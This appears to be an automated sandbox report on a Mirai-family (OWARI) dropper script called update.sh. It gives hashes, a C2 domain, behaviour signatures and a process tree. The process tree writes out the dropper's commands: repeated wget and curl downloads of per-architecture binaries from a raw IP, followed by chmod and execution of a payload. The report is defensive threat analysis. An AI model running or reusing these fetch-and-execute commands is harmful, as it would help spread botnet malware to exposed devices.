Analysis

  • max time kernel
    96s
  • max time network
    150s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    09-11-2024 13:37

General

  • Target

    update.sh

  • Size

    2KB

  • MD5

    2429f698cf97fe571bd6fdc423c2925c

  • SHA1

    6a16632e6d5e903b94aac179a258f3ec5452881e

  • SHA256

    2a51a31d68eb4fa02088756ceaff39ae3a7e78768fcc48cb9f81c67207be1d92

  • SHA512

    9d351efd9ed6bfe34481ca2d23e9f482b68351900fe9c0a756b572a71c6af98c0c1633d198e45ec926ec2fa25aa3448f19f13cb2d7cf87e4203e07927f0fe5f3

Malware Config

Extracted

Family

mirai

Botnet

OWARI

C2

cnc.carteldesinaloa.ru

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (114131) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Modifies Watchdog functionality 1 TTPs 10 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Changes its process name 5 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/update.sh
    /tmp/update.sh
    1⤵
    • Writes file to tmp directory
    PID:710
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to tmp directory
      PID:713
    • /usr/bin/wget
      wget http://94.156.177.146/389242390482/nuklear.arm
      2⤵
      • Writes file to tmp directory
      PID:715
    • /usr/bin/curl
      curl -O http://94.156.177.146/389242390482/nuklear.arm
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:734
    • /bin/cat
      cat nuklear.arm
      2⤵
        PID:741
      • /bin/chmod
        chmod +x busybox nuklear.arm nuklear.payload systemd-private-25cfef09d60348ebb2dd32362bf180f7-systemd-timedated.service-Gu7QQ6 update.sh
        2⤵
        • File and Directory Permissions Modification
        PID:742
      • /tmp/nuklear.payload
        ./nuklear.payload nuklear.payload
        2⤵
          PID:743
        • /usr/bin/wget
          wget http://94.156.177.146/389242390482/nuklear.arm5
          2⤵
          • Writes file to tmp directory
          PID:745
        • /usr/bin/curl
          curl -O http://94.156.177.146/389242390482/nuklear.arm5
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:746
        • /bin/cat
          cat nuklear.arm5
          2⤵
            PID:747
          • /bin/chmod
            chmod +x busybox nuklear.arm nuklear.arm5 nuklear.payload systemd-private-25cfef09d60348ebb2dd32362bf180f7-systemd-timedated.service-Gu7QQ6 update.sh
            2⤵
            • File and Directory Permissions Modification
            PID:748
          • /tmp/nuklear.payload
            ./nuklear.payload nuklear.payload
            2⤵
              PID:749
            • /usr/bin/wget
              wget http://94.156.177.146/389242390482/nuklear.arm6
              2⤵
              • Writes file to tmp directory
              PID:751
            • /usr/bin/curl
              curl -O http://94.156.177.146/389242390482/nuklear.arm6
              2⤵
              • Writes file to tmp directory
              PID:752
            • /bin/cat
              cat nuklear.arm6
              2⤵
                PID:763
              • /bin/chmod
                chmod +x busybox nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.payload systemd-private-25cfef09d60348ebb2dd32362bf180f7-systemd-timedated.service-Gu7QQ6 update.sh
                2⤵
                • File and Directory Permissions Modification
                PID:764
              • /tmp/nuklear.payload
                ./nuklear.payload nuklear.payload
                2⤵
                  PID:765
                • /usr/bin/wget
                  wget http://94.156.177.146/389242390482/nuklear.arm7
                  2⤵
                  • Writes file to tmp directory
                  PID:768
                • /usr/bin/curl
                  curl -O http://94.156.177.146/389242390482/nuklear.arm7
                  2⤵
                  • Writes file to tmp directory
                  PID:778
                • /bin/cat
                  cat nuklear.arm7
                  2⤵
                    PID:791
                  • /bin/chmod
                    chmod +x busybox nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.payload systemd-private-25cfef09d60348ebb2dd32362bf180f7-systemd-timedated.service-Gu7QQ6 update.sh
                    2⤵
                    • File and Directory Permissions Modification
                    PID:792
                  • /tmp/nuklear.payload
                    ./nuklear.payload nuklear.payload
                    2⤵
                      PID:794
                    • /usr/bin/wget
                      wget http://94.156.177.146/389242390482/nuklear.m68k
                      2⤵
                      • Writes file to tmp directory
                      PID:798
                    • /usr/bin/curl
                      curl -O http://94.156.177.146/389242390482/nuklear.m68k
                      2⤵
                      • Writes file to tmp directory
                      PID:807
                    • /bin/cat
                      cat nuklear.m68k
                      2⤵
                        PID:809
                      • /bin/chmod
                        chmod +x busybox nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.payload systemd-private-25cfef09d60348ebb2dd32362bf180f7-systemd-timedated.service-Gu7QQ6 update.sh
                        2⤵
                        • File and Directory Permissions Modification
                        PID:811
                      • /tmp/nuklear.payload
                        ./nuklear.payload nuklear.payload
                        2⤵
                          PID:812
                        • /usr/bin/wget
                          wget http://94.156.177.146/389242390482/nuklear.mips
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:814
                        • /usr/bin/curl
                          curl -O http://94.156.177.146/389242390482/nuklear.mips
                          2⤵
                          • Reads runtime system information
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:815
                        • /bin/cat
                          cat nuklear.mips
                          2⤵
                          • System Network Configuration Discovery
                          PID:816
                        • /bin/chmod
                          chmod +x busybox nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.payload systemd-private-25cfef09d60348ebb2dd32362bf180f7-systemd-timedated.service-Gu7QQ6 update.sh
                          2⤵
                          • File and Directory Permissions Modification
                          PID:817
                        • /tmp/nuklear.payload
                          ./nuklear.payload nuklear.payload
                          2⤵
                            PID:818
                          • /usr/bin/wget
                            wget http://94.156.177.146/389242390482/nuklear.mpsl
                            2⤵
                            • Writes file to tmp directory
                            PID:820
                          • /usr/bin/curl
                            curl -O http://94.156.177.146/389242390482/nuklear.mpsl
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:821
                          • /bin/cat
                            cat nuklear.mpsl
                            2⤵
                              PID:822
                            • /bin/chmod
                              chmod +x busybox nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload systemd-private-25cfef09d60348ebb2dd32362bf180f7-systemd-timedated.service-Gu7QQ6 update.sh
                              2⤵
                              • File and Directory Permissions Modification
                              PID:823
                            • /tmp/nuklear.payload
                              ./nuklear.payload nuklear.payload
                              2⤵
                              • Modifies Watchdog functionality
                              • Changes its process name
                              • Reads runtime system information
                              PID:824
                            • /usr/bin/wget
                              wget http://94.156.177.146/389242390482/nuklear.ppc
                              2⤵
                              • Writes file to tmp directory
                              PID:828
                            • /usr/bin/curl
                              curl -O http://94.156.177.146/389242390482/nuklear.ppc
                              2⤵
                              • Writes file to tmp directory
                              PID:836
                            • /bin/chmod
                              chmod +x busybox nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc systemd-private-25cfef09d60348ebb2dd32362bf180f7-systemd-timedated.service-Gu7QQ6 update.sh
                              2⤵
                              • File and Directory Permissions Modification
                              PID:847
                            • /tmp/nuklear.payload
                              ./nuklear.payload nuklear.payload
                              2⤵
                              • Modifies Watchdog functionality
                              • Changes its process name
                              • Reads runtime system information
                              PID:849
                            • /usr/bin/wget
                              wget http://94.156.177.146/389242390482/nuklear.sh4
                              2⤵
                              • Writes file to tmp directory
                              PID:853
                            • /usr/bin/curl
                              curl -O http://94.156.177.146/389242390482/nuklear.sh4
                              2⤵
                              • Writes file to tmp directory
                              PID:865
                            • /bin/chmod
                              chmod +x busybox nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4 systemd-private-25cfef09d60348ebb2dd32362bf180f7-systemd-timedated.service-Gu7QQ6 update.sh
                              2⤵
                              • File and Directory Permissions Modification
                              PID:875
                            • /tmp/nuklear.payload
                              ./nuklear.payload nuklear.payload
                              2⤵
                              • Modifies Watchdog functionality
                              • Changes its process name
                              • Reads runtime system information
                              PID:876
                            • /usr/bin/wget
                              wget http://94.156.177.146/389242390482/nuklear.x86
                              2⤵
                              • Writes file to tmp directory
                              PID:880
                            • /usr/bin/curl
                              curl -O http://94.156.177.146/389242390482/nuklear.x86
                              2⤵
                              • Writes file to tmp directory
                              PID:884
                            • /bin/chmod
                              chmod +x busybox nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4 nuklear.x86 systemd-private-25cfef09d60348ebb2dd32362bf180f7-systemd-timedated.service-Gu7QQ6 update.sh
                              2⤵
                              • File and Directory Permissions Modification
                              PID:886
                            • /tmp/nuklear.payload
                              ./nuklear.payload nuklear.payload
                              2⤵
                              • Modifies Watchdog functionality
                              • Changes its process name
                              • Reads runtime system information
                              PID:887
                            • /usr/bin/wget
                              wget http://94.156.177.146/389242390482/nuklear.x86_64
                              2⤵
                              • Writes file to tmp directory
                              PID:891
                            • /usr/bin/curl
                              curl -O http://94.156.177.146/389242390482/nuklear.x86_64
                              2⤵
                              • Writes file to tmp directory
                              PID:898
                            • /bin/chmod
                              chmod +x busybox nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4 nuklear.x86 nuklear.x86_64 update.sh
                              2⤵
                              • File and Directory Permissions Modification
                              PID:900
                            • /tmp/nuklear.payload
                              ./nuklear.payload nuklear.payload
                              2⤵
                              • Modifies Watchdog functionality
                              • Changes its process name
                              • Reads runtime system information
                              PID:901

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/busybox

                            Filesize

                            857KB

                            MD5

                            6ffc46165b5d9726a6607f3ea5305589

                            SHA1

                            ab127220f42e816b413dde0d17031e251a7bc98f

                            SHA256

                            80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c

                            SHA512

                            456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8

                          • /tmp/nuklear.arm

                            Filesize

                            75KB

                            MD5

                            580cbce6bacb7497bdcec26c1ba42376

                            SHA1

                            a3003ef3e494492551b911e453085cb058d73aab

                            SHA256

                            56f7b319fcba3b0dadc568dbb20a0c477b55f57e746e41fb6fc254a959a16ca8

                            SHA512

                            7138e4086e45c3f2ecf5a881e6c50478ecf53bf1ffbf913f07328acf925fcb813611ebf6a7182c0730472c3d902838389ca72ef741e3b4b4cf483e3cb448c15a